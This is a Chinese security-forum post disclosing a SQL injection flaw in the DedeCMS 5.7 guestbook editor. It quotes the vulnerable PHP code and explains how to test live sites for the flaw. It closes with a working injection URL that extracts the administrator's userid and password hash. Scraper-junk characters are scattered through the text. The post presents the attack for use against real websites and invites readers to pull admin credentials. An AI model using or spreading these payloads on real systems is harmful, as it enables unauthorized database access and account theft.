找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3744|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.73 {% t9 r7 Z# U+ t/ T/ g
6 h/ K' a! T0 W$ ^
漏洞文件edit.inc.php具体代码:7 L# S( }9 k" n
  D! E  e: p" x( e( S# J
< ?php  
9 k4 O# X! a/ o# }  H5 }& u( P9 M7 T: C) K5 |; C( B8 l" @
if(!defined('DEDEINC')) exit('Request Error!');  
; Q5 W  g# v* W% U7 f! ^" b5 P5 n5 H% r- d; D: P4 W
   : T+ w' C) b9 @  S# [; u
9 l6 T8 G3 R  i+ d3 ?
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  3 T: _( \" [6 s. [) _
: p4 G5 q0 r' z3 D/ q
else $GUEST_BOOK_POS = "guestbook.php";  - C5 m% m5 O- n/ F, e

/ A3 p, i+ D% u$ q+ N   
/ X0 @/ W7 r4 W: X6 h/ T0 Z1 u% V" q, P2 e+ m5 m
$id = intval($id);  
1 T% a2 `: \/ z3 ]4 P# t1 S- a/ q; ~+ v& D/ }  j
if(empty($job)) $job='view';  ( A9 i$ k" \8 M7 b' E. k
$ }  u" D: `$ I$ ~. o0 M
   
- j/ M/ f' j% L# X4 V: f8 {- O" W
if($job=='del' && $g_isadmin)  / m. r) Q4 c) L8 A+ F8 R0 B

6 i0 G0 T6 ~; t! \7 L. z/ f/ S{  
" I2 t) l% \% ?1 h# J/ H0 g* U  h. O/ c# k/ T! {6 i: P
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
$ _+ w$ X5 R. c7 N2 ]% O  O# u6 L1 D8 i" _; K
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  # v" J% K/ \! S# t4 P
0 i, F7 C7 n5 F% ]
exit();  , e- f7 W; L' l/ B. o) |4 M
9 z. L  V0 s' x! r. {; t9 E
}  / K. n4 [' I, j+ r  Z

- y* b( \4 E3 \+ T) Q$ pelse if($job=='check' && $g_isadmin)  / c# i: Q4 h' l( B3 ^

0 }' f4 g' m$ b- k( d. K{  
# I( r+ f- F! b' P' c7 J, ~/ S9 @) Z2 A2 B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  : N. ?7 ~* u7 Y" ?

2 `* Q) k6 }# H9 e. t, H4 |ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  * a; K, b7 A/ e" c8 F3 a
2 v1 s! C8 \6 A5 M! Z  \* f
exit();  ) @4 z* i6 [* u  f

4 Y/ D7 @! ^6 J7 n; R7 I$ \}  
- H# k  @% t! ~( k3 ^( P* U
4 Q- h9 u# \% Q( f& Y  `3 w4 P# selse if($job=='editok')  : W  B7 t3 z- s8 c4 A  u
# M# f  v% n1 W
{  / }1 P1 O  ?0 A9 g( i1 U

: u  i" }. R' K' j, L$remsg = trim($remsg);  ) t1 K- n* |. |/ r% [) h, w! p9 y5 g6 J

/ m& i' m0 @' Aif($remsg!='')  
. z; V& b) w: ]4 x; Q
" }# k$ V/ H* W{  0 K, Y" ~2 @; h' ~! e7 M) B

$ F: h( G2 _1 V. H//管理员回复不过滤HTML By:Errorera blog:errs.cc  & Y+ \6 }2 z! I( y6 s9 x5 ^  q

% v+ ^& L3 J+ \0 L" q2 M) ^  @if($g_isadmin)  
3 d" f# x* @. q1 J+ O; {% H- L0 f6 [4 _! S. {. y% [
{  . v) x! G! S) n0 Y% I5 z  Z( g8 O
' R) g6 L/ Q0 X
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  # P, Y/ ?: V1 r
, q* v( C: A8 d) W8 @
//$remsg <br /><font color=red>管理员回复:</font> }  ' e/ |5 d; l( I( I- ^  T
) x7 r' E. I, H" e# S
else ) d- r4 a7 N5 s1 E' _3 A

) C& k# \- A# M, T; v  o{  ) i" ?3 _7 d. g& ]* b1 T$ i1 g

: D0 u0 \( \' s" K* Q6 ~$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
5 m$ X0 v3 I6 v8 X1 P  _5 {
+ L! }# I7 ^% |' H7 i+ _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
# T3 r6 N1 h6 L0 s9 |2 I2 F' h% r% T2 c
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);    x2 u# v4 M2 V! K5 p- ?9 C
3 ?6 v" p! q' [3 \5 g
$msg = $oldmsg.$remsg;  4 H0 i  z" X2 G' }' ^2 l
. @2 f0 J+ q% @# J
}  * n8 H  ~8 X+ ]) X1 x

5 k8 |9 y5 v5 m) F}  
- s" r8 F+ J! r6 u( k( I
; v0 t0 k( Q+ J  v//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  " z+ F2 E% N; p# n
- `- _; w. a. ?$ c- M5 H$ `" \4 C
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");    c0 `$ M8 E- y

/ V! D, R: z- HShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  $ Z5 |( p0 v) ]5 E) \; |

' x* v2 Y1 z# K0 \exit();  6 ~) O  i4 S6 C6 Y; ~

7 s0 ^9 d4 d" t7 g; E) T0 U}  ! G# x& H2 t0 L

0 R* W5 s8 J9 L2 x. w- }' d//home:www.errs.cc  
8 K- m! o1 z4 D# M/ W; [. Q7 z
) {! a% o  F, e/ vif($g_isadmin)  / z+ p) V; m, f! Q+ ]  }
! d! O2 X' P/ i$ o! }. ]7 d
{  * F* E0 @6 W% w

, j# e1 R" {) h+ o* x- n$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  * C' T' W  D# g$ y% M
+ X6 N, C& }9 E. A0 Y
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  . j5 Q/ @- j5 [% }8 r
. a4 c& D( I) `7 ^6 F
}  
; D5 N, J1 z, @6 T) T; d. q) T* v1 g- a) f! y
else   M2 F6 Y0 M7 |  ]5 @! m8 ?: I+ N
/ U! r3 W- _% ~, V
{  
7 \7 F) _) \5 C% B7 ?& s  m& h
! N: `5 a  C( N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  1 T/ z4 |6 L1 A4 G  f% F

% ~4 A. R" c# [2 [require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  & e1 M) K0 H; p; Y* \  y

  m2 R, |  `& V, P7 W} 漏洞成功需要条件:* A; y4 l; }. K! `
1. php magic_quotes_gpc=off. z2 u$ |6 o6 ~5 [2 C
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
$ h0 H9 E" s2 ], w0 M
) w" ^6 b9 J. w" `0 q! Y怎么判断是否存在漏洞:
9 f  y/ V6 `$ }, P) D( @% E先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( X+ X: ]/ ?- }' a, B1 d' D7 [3 q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
+ T  H) ?" w, L2 B) _3 K6 {) C访问:
* N6 Q+ ^3 }, b6 g& r; H
% B% z8 U' ~7 H* _5 @www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了6 {) m. o3 _, b: C
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. R- H6 N2 K( p! f5 O/ J  ~# `
/ S) k# _7 S8 P6 \! K
9 M& c# c! p* y4 D4 F; \明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, B9 s$ D7 R, Y/ i% ^) D: @如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
- h: ]! |3 Z4 M2 Y( [" t那么再次访问
8 _. t; G7 a7 U! b
6 @7 x; y4 k. h6 D, vwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
7 t8 u6 f; H  b) d) _' p5 _( m/ Y9 ^/ }" f
大概利用就是这样,大家有兴趣的多研究下!!
( `) X  B, e9 w, k3 v! T( D# I! j. J* x6 `# V  ^
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
3 M0 [5 _' Y6 s8 L4 D9 w0 b. M: d
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表